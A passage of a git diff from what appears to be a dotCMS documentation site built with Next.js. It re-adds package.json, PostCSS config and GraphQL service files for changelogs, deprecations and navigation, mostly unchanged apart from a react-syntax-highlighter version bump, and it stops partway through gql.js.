- "@radix-ui/react-hover-card": "^1.1.1",
- "@radix-ui/react-label": "^2.1.0",
- "@radix-ui/react-menubar": "^1.1.1",
- "@radix-ui/react-navigation-menu": "^1.2.0",
- "@radix-ui/react-popover": "^1.1.1",
- "@radix-ui/react-progress": "^1.1.0",
- "@radix-ui/react-radio-group": "^1.2.0",
- "@radix-ui/react-scroll-area": "^1.1.0",
- "@radix-ui/react-select": "^2.1.1",
- "@radix-ui/react-separator": "^1.1.0",
- "@radix-ui/react-slider": "^1.2.0",
- "@radix-ui/react-slot": "^1.1.0",
- "@radix-ui/react-switch": "^1.1.0",
- "@radix-ui/react-tabs": "^1.1.0",
- "@radix-ui/react-toast": "^1.2.1",
- "@radix-ui/react-toggle": "^1.1.0",
- "@radix-ui/react-toggle-group": "^1.1.0",
- "@radix-ui/react-tooltip": "^1.1.2",
- "@types/node": "^20.11.0",
- "@types/react": "^18.2.48",
- "@types/react-dom": "^18.2.18",
- "@types/react-syntax-highlighter": "^15.5.13",
- "@vercel/speed-insights": "^1.2.0",
- "autoprefixer": "^10.4.17",
- "axios": "^1.10.0",
- "class-variance-authority": "^0.7.0",
- "clsx": "^2.1.1",
- "cmdk": "^1.0.0",
- "date-fns": "^3.6.0",
- "embla-carousel-react": "^8.3.0",
- "eslint": "8.49.0",
- "eslint-config-next": "13.5.1",
- "html-entities": "^2.5.2",
- "input-otp": "^1.2.4",
- "lucide-react": "^0.446.0",
- "mdx": "^0.2.3",
- "next": "^15.2.6",
- "next-themes": "^0.3.0",
- "node-cache": "^5.1.2",
- "postcss": "^8.4.33",
- "react": "^18.2.0",
- "react-day-picker": "^8.10.1",
- "react-dom": "^18.2.0",
- "react-hook-form": "^7.53.0",
- "react-markdown": "^9.0.3",
- "react-resizable-panels": "^2.1.3",
- "react-syntax-highlighter": "^15.6.1",
- "recharts": "^2.12.7",
- "rehype-autolink-headings": "^7.1.0",
- "rehype-raw": "^7.0.0",
- "rehype-slug": "^6.0.0",
- "remark-gfm": "^4.0.0",
- "remark-parse": "^11.0.0",
- "sonner": "^1.5.0",
- "swagger-ui-react": "^5.18.3",
- "tailwind-merge": "^2.5.2",
- "tailwindcss": "^3.4.1",
- "typescript": "^5.3.3",
- "unified": "^11.0.5",
- "vaul": "^0.9.9",
- "zod": "^3.23.8"
- },
- "devDependencies": {
- "@tailwindcss/typography": "^0.5.16",
- "@types/swagger-ui-react": "^5.18.0",
- "@typescript-eslint/eslint-plugin": "^6.0.0",
- "@typescript-eslint/parser": "^6.0.0",
- "eslint-config-prettier": "^10.0.1",
- "eslint-plugin-jsx-a11y": "^6.8.0",
- "eslint-plugin-react": "^7.33.2",
- "eslint-plugin-react-hooks": "^4.6.0",
- "sass": "^1.83.4",
- "tailwindcss-animate": "^1.0.7"
- }
-}
+{
+ "name": "nextjs",
+ "version": "0.1.0",
+ "private": true,
+ "scripts": {
+ "dev": "next dev",
+ "build": "next build",
+ "start": "next start",
+ "lint": "next lint"
+ },
+ "dependencies": {
+ "@dotcms/analytics": "1.1.1-next.6",
+ "@dotcms/client": "^1.2.3",
+ "@dotcms/react": "^1.2.3",
+ "@dotcms/types": "^1.2.3",
+ "@hookform/resolvers": "^3.9.0",
+ "@mdx-js/mdx": "^3.1.0",
+ "@microsoft/clarity": "^1.0.0",
+ "@next/third-parties": "^15.1.7",
+ "@radix-ui/react-accordion": "^1.2.0",
+ "@radix-ui/react-alert-dialog": "^1.1.1",
+ "@radix-ui/react-aspect-ratio": "^1.1.0",
+ "@radix-ui/react-avatar": "^1.1.0",
+ "@radix-ui/react-checkbox": "^1.1.1",
+ "@radix-ui/react-collapsible": "^1.1.0",
+ "@radix-ui/react-context-menu": "^2.2.1",
+ "@radix-ui/react-dialog": "^1.1.1",
+ "@radix-ui/react-dropdown-menu": "^2.1.1",
+ "@radix-ui/react-hover-card": "^1.1.1",
+ "@radix-ui/react-label": "^2.1.0",
+ "@radix-ui/react-menubar": "^1.1.1",
+ "@radix-ui/react-navigation-menu": "^1.2.0",
+ "@radix-ui/react-popover": "^1.1.1",
+ "@radix-ui/react-progress": "^1.1.0",
+ "@radix-ui/react-radio-group": "^1.2.0",
+ "@radix-ui/react-scroll-area": "^1.1.0",
+ "@radix-ui/react-select": "^2.1.1",
+ "@radix-ui/react-separator": "^1.1.0",
+ "@radix-ui/react-slider": "^1.2.0",
+ "@radix-ui/react-slot": "^1.1.0",
+ "@radix-ui/react-switch": "^1.1.0",
+ "@radix-ui/react-tabs": "^1.1.0",
+ "@radix-ui/react-toast": "^1.2.1",
+ "@radix-ui/react-toggle": "^1.1.0",
+ "@radix-ui/react-toggle-group": "^1.1.0",
+ "@radix-ui/react-tooltip": "^1.1.2",
+ "@types/node": "^20.11.0",
+ "@types/react": "^18.2.48",
+ "@types/react-dom": "^18.2.18",
+ "@types/react-syntax-highlighter": "^15.5.13",
+ "@vercel/speed-insights": "^1.2.0",
+ "autoprefixer": "^10.4.17",
+ "axios": "^1.10.0",
+ "class-variance-authority": "^0.7.0",
+ "clsx": "^2.1.1",
+ "cmdk": "^1.0.0",
+ "date-fns": "^3.6.0",
+ "embla-carousel-react": "^8.3.0",
+ "eslint": "8.49.0",
+ "eslint-config-next": "13.5.1",
+ "html-entities": "^2.5.2",
+ "input-otp": "^1.2.4",
+ "lucide-react": "^0.446.0",
+ "mdx": "^0.2.3",
+ "next": "^15.2.6",
+ "next-themes": "^0.3.0",
+ "node-cache": "^5.1.2",
+ "postcss": "^8.4.33",
+ "react": "^18.2.0",
+ "react-day-picker": "^8.10.1",
+ "react-dom": "^18.2.0",
+ "react-hook-form": "^7.53.0",
+ "react-markdown": "^9.0.3",
+ "react-resizable-panels": "^2.1.3",
+ "react-syntax-highlighter": "^16.1.0",
+ "recharts": "^2.12.7",
+ "rehype-autolink-headings": "^7.1.0",
+ "rehype-raw": "^7.0.0",
+ "rehype-slug": "^6.0.0",
+ "remark-gfm": "^4.0.0",
+ "remark-parse": "^11.0.0",
+ "sonner": "^1.5.0",
+ "swagger-ui-react": "^5.18.3",
+ "tailwind-merge": "^2.5.2",
+ "tailwindcss": "^3.4.1",
+ "typescript": "^5.3.3",
+ "unified": "^11.0.5",
+ "vaul": "^0.9.9",
+ "zod": "^3.23.8"
+ },
+ "devDependencies": {
+ "@tailwindcss/typography": "^0.5.16",
+ "@types/swagger-ui-react": "^5.18.0",
+ "@typescript-eslint/eslint-plugin": "^6.0.0",
+ "@typescript-eslint/parser": "^6.0.0",
+ "eslint-config-prettier": "^10.0.1",
+ "eslint-plugin-jsx-a11y": "^6.8.0",
+ "eslint-plugin-react": "^7.33.2",
+ "eslint-plugin-react-hooks": "^4.6.0",
+ "sass": "^1.83.4",
+ "tailwindcss-animate": "^1.0.7"
+ }
+}
diff --git a/postcss.config.js b/postcss.config.js
index 12a703d..a1b36d2 100644
--- a/postcss.config.js
+++ b/postcss.config.js
@@ -1,6 +1,6 @@
-module.exports = {
- plugins: {
- tailwindcss: {},
- autoprefixer: {},
- },
-};
+module.exports = {
+ plugins: {
+ tailwindcss: {},
+ autoprefixer: {},
+ },
+};
diff --git a/services/docs/getChangelog/getChangelog.ts b/services/docs/getChangelog/getChangelog.ts
index aac6f20..9d2fffd 100644
--- a/services/docs/getChangelog/getChangelog.ts
+++ b/services/docs/getChangelog/getChangelog.ts
@@ -1,123 +1,123 @@
-import { SIZE_PAGE } from './config';
-import { logRequest } from '@/util/logRequest';
-import { graphqlResults } from '@/services/gql';
-
-export const getChangelog = async ({ page = 1, vLts = "false", singleVersion = "", limit = SIZE_PAGE }) => {
- const assembleQuery = (buildQuery:string, ltsQuery:string, ltsMajVersion:string, singleVersion:string,
- limit:number, page:number, sortBy:string) => {
- return `query ContentAPI {
- DotcmsbuildsCollection(
- query: "${buildQuery} ${ltsQuery} ${ltsMajVersion} ${singleVersion}"
- limit: ${limit}
- page: ${page}
- sortBy: "${sortBy}"
- ) {
- title
- minor
- releaseNotes
- releasedDate
- dockerImage
- showInChangeLog
- released
- lts
- download
- showInChangeLog
- live
- tags
- eolDate
- parent {
- eolDate
- releasedDate
- }
- }
- Pagination {
- fieldName
- totalPages
- totalRecords
- pageRecords
- hasNextPage
- hasPreviousPage
- pageSize
- page
- offset
- }
- }`;
- };
-
- //Basic type info for querying any changelogs at all
- const buildQuery =
- '+contentType:Dotcmsbuilds +Dotcmsbuilds.released:true +Dotcmsbuilds.showInChangeLog:true +live:true';
-
- //Build query components to grab one of each of the LTS major versions, for reference
- const ltsQueryMaj = '+Dotcmsbuilds.lts:1';
- const sortByEol = 'Dotcmsbuilds.eolDate desc';
- const ltsMajorQuery = assembleQuery(buildQuery, ltsQueryMaj, "", "", limit, page, sortByEol);
- const ltsMajorResults = await logRequest(async () => graphqlResults(ltsMajorQuery), 'getLTSMajorVersions');
- const ltsMajorResult = ltsMajorResults?.data;
-
- if (!ltsMajorResult?.DotcmsbuildsCollection ) {
-
- console.error('GraphQL errors in getLTSMajorVersions:', ltsMajorResults.errors);
- throw new Error(ltsMajorResults.errors[0].message);
- }
-
- //if singleVersion is provided, check if it's an LTS patch version
- let ltsPatchVersion = "";
- if(singleVersion){
- for(const item of ltsMajorResult.DotcmsbuildsCollection){
- for (const vTag of item.tags){
- if(singleVersion.startsWith(vTag) && singleVersion !== vTag){
- vLts = vTag;
- ltsPatchVersion = vTag;
- break;
- }
- }
- if(ltsPatchVersion){
- break;
- }
- }
- }
-
- //Build query components to grab requested changelogs
- const ltsQuery = (vLts && vLts !== "false") ? '+(Dotcmsbuilds.lts:1 Dotcmsbuilds.lts:2)' : '+Dotcmsbuilds.lts:3';
- const sussOutLatestMajor = (majVersion:any, paramVersion:string) => {
- if(/^\d/.test(paramVersion)){
- return `+Dotcmsbuilds.tags:${paramVersion}`
- } else if(paramVersion === "true"){
- for (const vTag of majVersion.tags) {
- if(/^\d/.test(vTag)) {
- return `+Dotcmsbuilds.tags:${vTag}`;
- }
- }
- return "";
- } else return "";
- };
- const ltsMajVersion = sussOutLatestMajor(ltsMajorResult.DotcmsbuildsCollection[0], vLts);
- //console.log("sussed as:", ltsMajVersion);
- const sortBy = 'Dotcmsbuilds.releasedDate desc, modDate desc';
- const query = assembleQuery(buildQuery, ltsQuery, ltsMajVersion, (singleVersion && !ltsPatchVersion) ? `+Dotcmsbuilds.minor:${singleVersion}` : "", (ltsMajVersion ? 20 : limit), page, sortBy);
- const result = await logRequest(async () => graphqlResults(query), 'getChangelog');
-
- if (result?.errors && result.errors.length > 0) {
- console.error('GraphQL errors in getChangelog:', result.errors);
-
- // Check if the error is related to null dockerImage fields
- const isDockerImageError = result.errors.some((error: any) =>
- error.message && error.message.includes('dockerImage') && error.message.includes('null value')
- );
-
- if (isDockerImageError) {
- console.warn('Handling null dockerImage values in changelog data');
- // Filter out entries with null dockerImage values from the results if data exists
- if (result?.data?.DotcmsbuildsCollection) {
- result.data.DotcmsbuildsCollection = result.data.DotcmsbuildsCollection.filter((item: any) =>
- item && typeof item === 'object'
- );
- }
- } else {
- throw new Error(result.errors[0].message);
- }
- }
-
- return {changelogs: result?.data?.DotcmsbuildsCollection, pagination: result?.data?.Pagination[0], ltsMajors: ltsMajorResult.DotcmsbuildsCollection, ltsSingleton: ltsPatchVersion};
-};
+import { SIZE_PAGE } from './config';
+import { logRequest } from '@/util/logRequest';
+import { graphqlResults } from '@/services/gql';
+
+export const getChangelog = async ({ page = 1, vLts = "false", singleVersion = "", limit = SIZE_PAGE }) => {
+ const assembleQuery = (buildQuery:string, ltsQuery:string, ltsMajVersion:string, singleVersion:string,
+ limit:number, page:number, sortBy:string) => {
+ return `query ContentAPI {
+ DotcmsbuildsCollection(
+ query: "${buildQuery} ${ltsQuery} ${ltsMajVersion} ${singleVersion}"
+ limit: ${limit}
+ page: ${page}
+ sortBy: "${sortBy}"
+ ) {
+ title
+ minor
+ releaseNotes
+ releasedDate
+ dockerImage
+ showInChangeLog
+ released
+ lts
+ download
+ showInChangeLog
+ live
+ tags
+ eolDate
+ parent {
+ eolDate
+ releasedDate
+ }
+ }
+ Pagination {
+ fieldName
+ totalPages
+ totalRecords
+ pageRecords
+ hasNextPage
+ hasPreviousPage
+ pageSize
+ page
+ offset
+ }
+ }`;
+ };
+
+ //Basic type info for querying any changelogs at all
+ const buildQuery =
+ '+contentType:Dotcmsbuilds +Dotcmsbuilds.released:true +Dotcmsbuilds.showInChangeLog:true +live:true';
+
+ //Build query components to grab one of each of the LTS major versions, for reference
+ const ltsQueryMaj = '+Dotcmsbuilds.lts:1';
+ const sortByEol = 'Dotcmsbuilds.eolDate desc';
+ const ltsMajorQuery = assembleQuery(buildQuery, ltsQueryMaj, "", "", limit, page, sortByEol);
+ const ltsMajorResults = await logRequest(async () => graphqlResults(ltsMajorQuery), 'getLTSMajorVersions');
+ const ltsMajorResult = ltsMajorResults?.data;
+
+ if (!ltsMajorResult?.DotcmsbuildsCollection ) {
+
+ console.error('GraphQL errors in getLTSMajorVersions:', ltsMajorResults.errors);
+ throw new Error(ltsMajorResults.errors[0].message);
+ }
+
+ //if singleVersion is provided, check if it's an LTS patch version
+ let ltsPatchVersion = "";
+ if(singleVersion){
+ for(const item of ltsMajorResult.DotcmsbuildsCollection){
+ for (const vTag of item.tags){
+ if(singleVersion.startsWith(vTag) && singleVersion !== vTag){
+ vLts = vTag;
+ ltsPatchVersion = vTag;
+ break;
+ }
+ }
+ if(ltsPatchVersion){
+ break;
+ }
+ }
+ }
+
+ //Build query components to grab requested changelogs
+ const ltsQuery = (vLts && vLts !== "false") ? '+(Dotcmsbuilds.lts:1 Dotcmsbuilds.lts:2)' : '+Dotcmsbuilds.lts:3';
+ const sussOutLatestMajor = (majVersion:any, paramVersion:string) => {
+ if(/^\d/.test(paramVersion)){
+ return `+Dotcmsbuilds.tags:${paramVersion}`
+ } else if(paramVersion === "true"){
+ for (const vTag of majVersion.tags) {
+ if(/^\d/.test(vTag)) {
+ return `+Dotcmsbuilds.tags:${vTag}`;
+ }
+ }
+ return "";
+ } else return "";
+ };
+ const ltsMajVersion = sussOutLatestMajor(ltsMajorResult.DotcmsbuildsCollection[0], vLts);
+ //console.log("sussed as:", ltsMajVersion);
+ const sortBy = 'Dotcmsbuilds.releasedDate desc, modDate desc';
+ const query = assembleQuery(buildQuery, ltsQuery, ltsMajVersion, (singleVersion && !ltsPatchVersion) ? `+Dotcmsbuilds.minor:${singleVersion}` : "", (ltsMajVersion ? 20 : limit), page, sortBy);
+ const result = await logRequest(async () => graphqlResults(query), 'getChangelog');
+
+ if (result?.errors && result.errors.length > 0) {
+ console.error('GraphQL errors in getChangelog:', result.errors);
+
+ // Check if the error is related to null dockerImage fields
+ const isDockerImageError = result.errors.some((error: any) =>
+ error.message && error.message.includes('dockerImage') && error.message.includes('null value')
+ );
+
+ if (isDockerImageError) {
+ console.warn('Handling null dockerImage values in changelog data');
+ // Filter out entries with null dockerImage values from the results if data exists
+ if (result?.data?.DotcmsbuildsCollection) {
+ result.data.DotcmsbuildsCollection = result.data.DotcmsbuildsCollection.filter((item: any) =>
+ item && typeof item === 'object'
+ );
+ }
+ } else {
+ throw new Error(result.errors[0].message);
+ }
+ }
+
+ return {changelogs: result?.data?.DotcmsbuildsCollection, pagination: result?.data?.Pagination[0], ltsMajors: ltsMajorResult.DotcmsbuildsCollection, ltsSingleton: ltsPatchVersion};
+};
diff --git a/services/docs/getDeprecations/getDeprecations.ts b/services/docs/getDeprecations/getDeprecations.ts
index 3e81ba8..bece4ac 100644
--- a/services/docs/getDeprecations/getDeprecations.ts
+++ b/services/docs/getDeprecations/getDeprecations.ts
@@ -1,58 +1,58 @@
-import { logRequest } from '@/util/logRequest';
-import { graphqlResults } from '@/services/gql';
-
-import type { TDeprecation } from './types';
-
-type Options = { ttlSeconds?: number };
-
-const getDeprecations = async (options: Options = {}): Promise => {
- const ttlSeconds = options.ttlSeconds ?? 3600; // 1 hour default
-
- const query = `query Deprecations {
- DeprecationCollection(
- query: "+contentType:Deprecation +live:true"
- sortBy: "Deprecation.dateDeprecated desc"
- limit: 0
- offset: 0
- ) {
- identifier
- title
- dateDeprecated
- dateRetired
- timeframeNote
- docLinks {
- title
- urlTitle
- tag
- }
- recommendation {
- json
- }
- reason {
- json
- }
- versionDeprecated
- versionRetired
- }
- }`;
-
- try {
- const result = await logRequest(
- async () => graphqlResults(query, ttlSeconds),
- 'getDeprecations'
- );
-
- if (result?.errors && result.errors.length > 0) {
- console.error('GraphQL errors in getDeprecations:', result.errors);
- throw new Error(result.errors[0].message);
- }
-
- const deprecations = result?.data?.DeprecationCollection || [];
- return deprecations;
- } catch (error) {
- console.error(`Error fetching deprecations: ${error}`);
- return null;
- }
-};
-
-export default getDeprecations;
+import { logRequest } from '@/util/logRequest';
+import { graphqlResults } from '@/services/gql';
+
+import type { TDeprecation } from './types';
+
+type Options = { ttlSeconds?: number };
+
+const getDeprecations = async (options: Options = {}): Promise => {
+ const ttlSeconds = options.ttlSeconds ?? 3600; // 1 hour default
+
+ const query = `query Deprecations {
+ DeprecationCollection(
+ query: "+contentType:Deprecation +live:true"
+ sortBy: "Deprecation.dateDeprecated desc"
+ limit: 0
+ offset: 0
+ ) {
+ identifier
+ title
+ dateDeprecated
+ dateRetired
+ timeframeNote
+ docLinks {
+ title
+ urlTitle
+ tag
+ }
+ recommendation {
+ json
+ }
+ reason {
+ json
+ }
+ versionDeprecated
+ versionRetired
+ }
+ }`;
+
+ try {
+ const result = await logRequest(
+ async () => graphqlResults(query, ttlSeconds),
+ 'getDeprecations'
+ );
+
+ if (result?.errors && result.errors.length > 0) {
+ console.error('GraphQL errors in getDeprecations:', result.errors);
+ throw new Error(result.errors[0].message);
+ }
+
+ const deprecations = result?.data?.DeprecationCollection || [];
+ return deprecations;
+ } catch (error) {
+ console.error(`Error fetching deprecations: ${error}`);
+ return null;
+ }
+};
+
+export default getDeprecations;
diff --git a/services/docs/getNavSections.ts b/services/docs/getNavSections.ts
index 45ce1b4..fe935b9 100644
--- a/services/docs/getNavSections.ts
+++ b/services/docs/getNavSections.ts
@@ -1,79 +1,79 @@
-import { Config } from "@/util/config";
-import { navCache, getCacheKey } from "@/util/cacheService";
-import { transformApiResponseToNavSections, type ApiNavItem, type NavSection } from "@/util/navTransform";
-import fallbackNavData from "@/components/navigation/fallback.json";
-
-type FetchOptions = {
- path?: string;
- depth?: number;
- languageId?: number;
- ttlSeconds?: number;
-};
-
-// Helper function to load fallback navigation data
-function loadFallbackNavSections(): NavSection[] {
- try {
- const apiChildren = (fallbackNavData?.entity?.children ?? []) as unknown as ApiNavItem[];
- const sections = transformApiResponseToNavSections(apiChildren);
-
- if (sections.length > 0) {
- console.warn('⚠️ Using fallback navigation data - API request failed');
- return sections;
- }
-
- console.error('Fallback navigation data is invalid or empty');
- return [];
- } catch (err) {
- console.error('Failed to load fallback navigation data:', err);
- return [];
- }
-}
-
-export async function getNavSections(options: FetchOptions = {}): Promise {
- const path = options.path ?? '/docs/nav';
- const depth = options.depth ?? 4;
- const languageId = options.languageId ?? 1;
- const ttlSeconds = options.ttlSeconds ?? 900;
-
- const cacheKey = getCacheKey(`${path}|${depth}|${languageId}|v2`);
- const cached = navCache.get(cacheKey);
- if (cached) {
- return cached;
- }
-
- try {
- const url = new URL(`/api/v1/nav${path}?depth=${depth}&languageId=${languageId}`, Config.DotCMSHost);
-
- const res = await fetch(url, {
- method: 'GET',
- headers: Config.Headers,
- // Ensure server-side request cache doesn't interfere; we manage our own cache
- cache: 'no-store',
- next: { revalidate: 0 },
- });
-
- if (!res.ok) {
- console.warn(`Nav API returned ${res.status} ${res.statusText} - falling back to static navigation`);
- return loadFallbackNavSections();
- }
-
- const json = await res.json();
- const apiChildren: ApiNavItem[] = json?.entity?.children ?? [];
- const sections = transformApiResponseToNavSections(apiChildren);
-
- if (sections.length > 0) {
- navCache.set(cacheKey, sections, ttlSeconds);
- return sections;
- }
-
- // If API returned empty data, use fallback
- console.warn('Nav API returned empty data - falling back to static navigation');
- return loadFallbackNavSections();
-
- } catch (err) {
- console.error('Nav API request failed:', err);
- return loadFallbackNavSections();
- }
-}
-
-
+import { Config } from "@/util/config";
+import { navCache, getCacheKey } from "@/util/cacheService";
+import { transformApiResponseToNavSections, type ApiNavItem, type NavSection } from "@/util/navTransform";
+import fallbackNavData from "@/components/navigation/fallback.json";
+
+type FetchOptions = {
+ path?: string;
+ depth?: number;
+ languageId?: number;
+ ttlSeconds?: number;
+};
+
+// Helper function to load fallback navigation data
+function loadFallbackNavSections(): NavSection[] {
+ try {
+ const apiChildren = (fallbackNavData?.entity?.children ?? []) as unknown as ApiNavItem[];
+ const sections = transformApiResponseToNavSections(apiChildren);
+
+ if (sections.length > 0) {
+ console.warn('⚠️ Using fallback navigation data - API request failed');
+ return sections;
+ }
+
+ console.error('Fallback navigation data is invalid or empty');
+ return [];
+ } catch (err) {
+ console.error('Failed to load fallback navigation data:', err);
+ return [];
+ }
+}
+
+export async function getNavSections(options: FetchOptions = {}): Promise {
+ const path = options.path ?? '/docs/nav';
+ const depth = options.depth ?? 4;
+ const languageId = options.languageId ?? 1;
+ const ttlSeconds = options.ttlSeconds ?? 900;
+
+ const cacheKey = getCacheKey(`${path}|${depth}|${languageId}|v2`);
+ const cached = navCache.get(cacheKey);
+ if (cached) {
+ return cached;
+ }
+
+ try {
+ const url = new URL(`/api/v1/nav${path}?depth=${depth}&languageId=${languageId}`, Config.DotCMSHost);
+
+ const res = await fetch(url, {
+ method: 'GET',
+ headers: Config.Headers,
+ // Ensure server-side request cache doesn't interfere; we manage our own cache
+ cache: 'no-store',
+ next: { revalidate: 0 },
+ });
+
+ if (!res.ok) {
+ console.warn(`Nav API returned ${res.status} ${res.statusText} - falling back to static navigation`);
+ return loadFallbackNavSections();
+ }
+
+ const json = await res.json();
+ const apiChildren: ApiNavItem[] = json?.entity?.children ?? [];
+ const sections = transformApiResponseToNavSections(apiChildren);
+
+ if (sections.length > 0) {
+ navCache.set(cacheKey, sections, ttlSeconds);
+ return sections;
+ }
+
+ // If API returned empty data, use fallback
+ console.warn('Nav API returned empty data - falling back to static navigation');
+ return loadFallbackNavSections();
+
+ } catch (err) {
+ console.error('Nav API request failed:', err);
+ return loadFallbackNavSections();
+ }
+}
+
+
diff --git a/services/docs/getSideNav.ts b/services/docs/getSideNav.ts
index 2e47664..376a813 100644
--- a/services/docs/getSideNav.ts
+++ b/services/docs/getSideNav.ts
@@ -1,86 +1,86 @@
-import {navCache} from '@/util/cacheService'
-import { graphqlResults } from '../gql';
-
-
-
-const cacheKey = "coreNavLeftCacheKey";
-export const getSideNav = async () => {
-
- const cachedValue = navCache.get(cacheKey);
-
- if(cachedValue){
- return cachedValue;
- }
-
- const query = `
- query Documents {
- DotcmsDocumentationCollection(query: "+DotcmsDocumentation.urlTitle_dotraw:table-of-contents") {
- title
- navTitle
- urlTitle
- modDate
- tag
- seoDescription
- dotcmsdocumentationchildren {
- title
- navTitle
- urlTitle
- modDate
- tag
- seoDescription
- dotcmsdocumentationchildren {
- title
- navTitle
- urlTitle
- modDate
- tag
- seoDescription
- dotcmsdocumentationchildren {
- title
- navTitle
- urlTitle
- modDate
- tag
- seoDescription
- dotcmsdocumentationchildren {
- title
- navTitle
- urlTitle
- modDate
- tag
- seoDescription
- dotcmsdocumentationchildren {
- title
- navTitle
- urlTitle
- modDate
- tag
- seoDescription
- dotcmsdocumentationchildren {
- title
- navTitle
- urlTitle
- modDate
- tag
- seoDescription
- }
- }
- }
- }
- }
- }
- }
- }
- `
-
-
- const graphData = await graphqlResults(query);
-
- //console.log("graphData:", graphData);
- if (graphData.errors && graphData.errors.length > 0) {
- throw new Error(graphData.errors[0].message)
- }
- navCache.set(cacheKey, graphData.data.DotcmsDocumentationCollection, 3600);
-
- return graphData.data.DotcmsDocumentationCollection
-}
+import {navCache} from '@/util/cacheService'
+import { graphqlResults } from '../gql';
+
+
+
+const cacheKey = "coreNavLeftCacheKey";
+export const getSideNav = async () => {
+
+ const cachedValue = navCache.get(cacheKey);
+
+ if(cachedValue){
+ return cachedValue;
+ }
+
+ const query = `
+ query Documents {
+ DotcmsDocumentationCollection(query: "+DotcmsDocumentation.urlTitle_dotraw:table-of-contents") {
+ title
+ navTitle
+ urlTitle
+ modDate
+ tag
+ seoDescription
+ dotcmsdocumentationchildren {
+ title
+ navTitle
+ urlTitle
+ modDate
+ tag
+ seoDescription
+ dotcmsdocumentationchildren {
+ title
+ navTitle
+ urlTitle
+ modDate
+ tag
+ seoDescription
+ dotcmsdocumentationchildren {
+ title
+ navTitle
+ urlTitle
+ modDate
+ tag
+ seoDescription
+ dotcmsdocumentationchildren {
+ title
+ navTitle
+ urlTitle
+ modDate
+ tag
+ seoDescription
+ dotcmsdocumentationchildren {
+ title
+ navTitle
+ urlTitle
+ modDate
+ tag
+ seoDescription
+ dotcmsdocumentationchildren {
+ title
+ navTitle
+ urlTitle
+ modDate
+ tag
+ seoDescription
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ `
+
+
+ const graphData = await graphqlResults(query);
+
+ //console.log("graphData:", graphData);
+ if (graphData.errors && graphData.errors.length > 0) {
+ throw new Error(graphData.errors[0].message)
+ }
+ navCache.set(cacheKey, graphData.data.DotcmsDocumentationCollection, 3600);
+
+ return graphData.data.DotcmsDocumentationCollection
+}
diff --git a/services/gql.js b/services/gql.js
index 921e052..44acd85 100644
--- a/services/gql.js
+++ b/services/gql.js
@@ -1,199 +1,199 @@
-import { Config } from '@/util/config';
-import { getCacheKey } from '@/util/cacheService'
-import axios from 'axios';
-import { graphCache } from '@/util/cacheService';
-
-/**
- * Get the GraphQL query for a page
- *
- * @param {*} query
- * @return {*}
- */
-export function getGraphQLPageQuery({ path, mode }) {
- const params = [];
-
- if (mode) {
- params.push('pageMode: "EDIT_MODE"');
- }
-
- const paramsString = params.length ? `, ${params.join(", ")}` : "";
-
- return `
- {
- page(url: "${path}"${paramsString}, site:"173aff42881a55a562cec436180999cf") {
- _map
- urlContentMap {
- identifier
- modDate
- publishDate
- creationDate
- title
- baseType
- inode
- archived
- _map
- urlMap
- working
- locked
- contentType
- live
- }
- title
- friendlyName
- description
- tags
- canEdit
- canEdit
- canLock
- canRead
- template {
- drawed
- }
- containers {
- path
- identifier
- maxContentlets
- containerStructures {
- contentTypeVar
- }
- containerContentlets {
- uuid
- contentlets {
- _map
- }
- }
- }
- layout {
- header
- footer
- body {
- rows {
- columns {
- leftOffset
- styleClass
- width
- left
- containers {
- identifier
- uuid
- }
- }
- }
- }
- }
- vanityUrl {
- action
- forwardTo
- uri
- }
- viewAs {
- visitor {
- persona {
- name
- }
- }
- language {
- id
- languageCode
- countryCode
- language
- country
- }
- }
- }
- }
- `;
-};
-
-
-/**
- * This method tries to use a graphql GET for a cached response before it uses a POST
- * If it gets no data in the GET, it falls back to the POST, which should load cache.
- * @param {*} query
- * @returns
- */
-export const graphqlResults = async (query, cacheTTL = 10) => {
-
- const cacheKey = getCacheKey(query);
- const cachedData = graphCache.get(cacheKey);
- if (cachedData) {
- return cachedData;
- }
- let graphData = {
- data: null,
- errors: []
- };
-/*
- // If we are in the server, try the GET method
- if (typeof window === 'undefined') {
- graphData = await get(query);
- if(!graphData?.data){
- console.debug("graphql GET failed, trying POST");
- }
- }
-*/
- if (!graphData?.data
- || Object.keys(graphData?.data).length === 0
- || graphData.errors.length > 0) {
- graphData = await post(query);
- if(!graphData?.data){
- console.debug("graphql failed:", graphData.errors);
- }
- }
-
- if(graphData?.data && Object.keys(graphData?.data).length > 0){
- graphCache.set(cacheKey, graphData, cacheTTL);
- }
-
-
-
- return graphData;
-
-}
-
-
-
-const axiosFetch = async (query, method) => {
- const queryHash = getCacheKey(query);
- const graphUrl = Config.GraphqlUrl ;
- console.debug("Graphql " + method.toUpperCase() + ", url:" + graphUrl)
- try {
- return await axios({
- url: graphUrl,
- method: method,
- data: { query },
- headers: Config.Headers
- })
- .then(function (response) {
- // GraphQL responses can have both data and errors
- const data = response?.data?.data || response?.data || null;
- const errors = response?.data?.errors || response?.errors || [];
- return { data, errors: (typeof errors === 'String') ? [errors] : errors };
- })
- } catch (error) {
-
- return {
- data: {},
- errors: [{
- message: error.message || 'Network or request error',
- originalError: error
- }]
- };
-
- }
-
-
-}
-
-
-export const get = async (query) => {
- //console.log("graph GET");
- return axiosFetch(query, "get");
-};
-
-export const post = async (query) => {
- //console.log("graph POST");
- return axiosFetch(query, "post");
-};
-
-
+import { Config } from '@/util/config';
+import { getCacheKey } from '@/util/cacheService'
+import axios from 'axios';
+import { graphCache } from '@/util/cacheService';
+
+/**
+ * Get the GraphQL query for a page
+ *
+ * @param {*} query
+ * @return {*}
+ */
+export function getGraphQLPageQuery({ path, mode }) {
+ const params = [];
+
+ if (mode) {
+ params.push('pageMode: "EDIT_MODE"');
+ }
+
+ const paramsString = params.length ? `, ${params.join(", ")}` : "";
+
+ return `
+ {
+ page(url: "${path}"${paramsString}, site:"173aff42881a55a562cec436180999cf") {
+ _map
+ urlContentMap {
+ identifier
+ modDate
+ publishDate
+ creationDate
+ title
+ baseType
+ inode
+ archived
+ _map
+ urlMap
+ working
+ locked
+ contentType
+ live
+ }
+ title
+ friendlyName
+ description
+ tags
+ canEdit
+ canEdit
+ canLock
+ canRead
+ template {
+ drawed
+ }
+ containers {
+ path
+ identifier
+ maxContentlets
+ containerStructures {
+ contentTypeVar
+ }
+ containerContentlets {
+ uuid
+ contentlets {
+ _map
+ }
+ }
+ }
+ layout {
+ header
+ footer
+ body {
+ rows {
+ columns {
+ leftOffset
+ styleClass
+ width
+ left
+ containers {
+ identifier
+ uuid
+ }
+ }
+ }
+ }
+ }
+ vanityUrl {
+ action
+ forwardTo
+ uri
+ }
+ viewAs {
+ visitor {
